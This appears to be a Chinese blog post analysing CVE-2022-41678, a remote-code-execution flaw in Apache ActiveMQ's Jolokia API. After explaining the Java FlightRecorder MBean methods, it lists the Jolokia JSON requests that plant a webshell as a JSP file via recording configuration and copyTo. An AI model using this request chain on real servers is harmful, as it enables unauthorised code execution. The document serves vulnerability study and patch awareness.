1198 字
6 分钟
CVE-2022-41678 Apache ActiveMQ Jolokia RCE

ActiveMQ的漏洞最近也有几个,但是因为我已经看到有师傅分析了自己也就没细看,想着后面学一下思路,但是后来就忘了这档子事了,正好昨天又公布了这个去年的老洞,就一口气都写一个学习笔记罢了。(主要是activemq这个产品并没有整体学一遍,正好也简单学一学。 此外,对于漏洞官方的细节非常详尽,请看这里

影响版本#

Apache ActiveMQ < 5.16.6 5.17.0 < Apache ActiveMQ < 5.17.4

前置知识#

Apache ActiveMQ中使用Jolokia API时,客户端发送的JSON请求格式依赖于你想执行的具体操作。Jolokia支持多种操作,包括读取MBean属性、执行MBean操作、写入MBean属性等。 下面介绍jolokia中的一些基本操作。

读取 MBean 属性#

{
"type": "read",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"attribute": "TotalProducerCount"
}

![image-20231201003335267](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003335267.png)

执行 MBean 操作#

{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addQueue",
"arguments": ["TestQueue"]
}

![image-20231201003342466](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003342466.png)

写入 MBean 属性#

{
"type": "write",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"attribute": "SomeAttribute",
"value": "NewValue"
}

![image-20231201003345836](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003345836.png)

获取所有 MBeans 的列表#

{
"type": "list"
}

![image-20231201003348573](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003348573.png) 好了有了以上内容就足够我们分析本次漏洞了。

漏洞分析#

阿里云的情报都说了是Jolokia出的漏洞,自然也就直接diff看一下修复(真不是因为我懒 这里就不得不说千万别下5.17,直接用5.16相关版本,环境大坑,我弄了很久。 ![image-20231201003358698](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003358698.png) 首先通过web.xml定位到jolokia的路径和其使用的servlet。 先分析一下org.jolokia.http.AgentServlet中的内容: ![image-20231201003403085](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003403085.png) ![image-20231201003406901](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003406901.png) 这里判断了如果你的Origin不符合条件,那么就直接退出,所以访问的时候加上Origin头。 加上头之后就能成功访问这些东西了,也就是前面前置知识里那样。 通过了解前置知识我们知道了,通过Jolikia可以对MBean进行操作,MBeanJMX中的核心部分,通过MBean可以将JDK级别的服务以接口的方式对外暴露,提供很多功能。 在Java11中,新增了一个MBeanjdk.management.jfr.FlightRecorderMXBeanImpl 对于这个MBean官方也有详细的介绍,想看的师傅可以移步FlightRecorderMXBean (Java SE 11 & JDK 11 ),我在这里就简单介绍一下。 newRecording方法用来创建一个新的记录,但是并不会启动它:

public long newRecording() {
MBeanUtils.checkControl();
getRecorder(); // ensure notification listener is setup
return AccessController.doPrivileged(new PrivilegedAction<Recording>() {
@Override
public Recording run() {
return new Recording();
}
}, null, new FlightRecorderPermission("accessFlightRecorder")).getId();
}

创建一个录制后并不会开始,要通过startRecording方法来启动这个录制,其中接受的参数就是前面返回的参数:

public void startRecording(long id) {
MBeanUtils.checkControl();
getExistingRecording(id).start();
}

有启动自然也要停止,通过stopRecording方法停止录制:

public boolean stopRecording(long id) {
MBeanUtils.checkControl();
return getExistingRecording(id).stop();
}

但是这个开始和结束并不能将webshell地内容放进去,所以我们还需要用setConfigurationwebshell的内容以配置的形式写入,那么配置从哪里来呢,就从getConfigurations来咯:

public List<ConfigurationInfo> getConfigurations() {
MBeanUtils.checkMonitor();
return MBeanUtils.transformList(Configuration.getConfigurations(), ConfigurationInfo::new);
}

copyTo这个方法用来将录制的内容写入指定的文件,也就是我们本次漏洞的最后一步,写入JSP

public void copyTo(long recording, String path) throws IOException {
Objects.requireNonNull(path);
MBeanUtils.checkControl();
getExistingRecording(recording).dump(Paths.get(path));
}

官方也写得很明白,在使用的时候这样写就行了: ![image-20231201003418727](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003418727.png) 那么利用方式也很清晰了:创建录制—设置配置—启动录制—结束录制—写入文件 至于录制的内容就是我们要写入的shell了。 那么就开始吧,首先新建一个录制,不需要接受参数,所以我也没加,返回值中的value就是id值:

{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"newRecording"}

![image-20231201003423284](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003423284.png) ![image-20231201003425810](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003425810.png) 然后获取配置,看看是什么样的,注意这里用read

{"type":"read","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"getConfigurations"}

![image-20231201003429100](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003429100.png) ![image-20231201003432288](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003432288.png) 修改,加入webshell: ![image-20231201003437020](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003437020.png) 写入,根据方法接受的参数,第一个是id也就是那个1,第二个就是修改好的配置文件内容:

{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"setConfiguration","arguments": [1,"xml"]}

![image-20231201003440454](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003440454.png) ![image-20231201003443369](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003443369.png) 开始&结束录制:

{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"startRecording","arguments": [1]}
{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"stopRecording","arguments": [1]}

![image-20231201003446643](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003446643.png) ![image-20231201003449380](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003449380.png) ![image-20231201003452343](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003452343.png) ![image-20231201003455192](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003455192.png) 导出文件: ![image-20231201003457991](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003457991.png) ![image-20231201003500883](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003500883.png) 访问一下验证: ![image-20231201003504748](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003504748.png)

总结#

感觉每次有一些底层的大更新有新特性的时候都会出一些安全问题,这次是ActiveMQ 5.16.x开始支持Java11,所以可以从这些方面入手,看看新特性能不能高些事情。 此外这个漏洞的利用方式不止JDK的MBean一种,还可以利用一些第三方的MBean来getshell,具体的方式就请师傅们自己研究下啦~

CVE-2022-41678 Apache ActiveMQ Jolokia RCE
https://springkill.github.io/posts/cve-2022-41678-apache-activemq-jolokia-rce/
作者
SpringKill
发布于
2023-12-01
许可协议
CC BY-NC-SA 4.0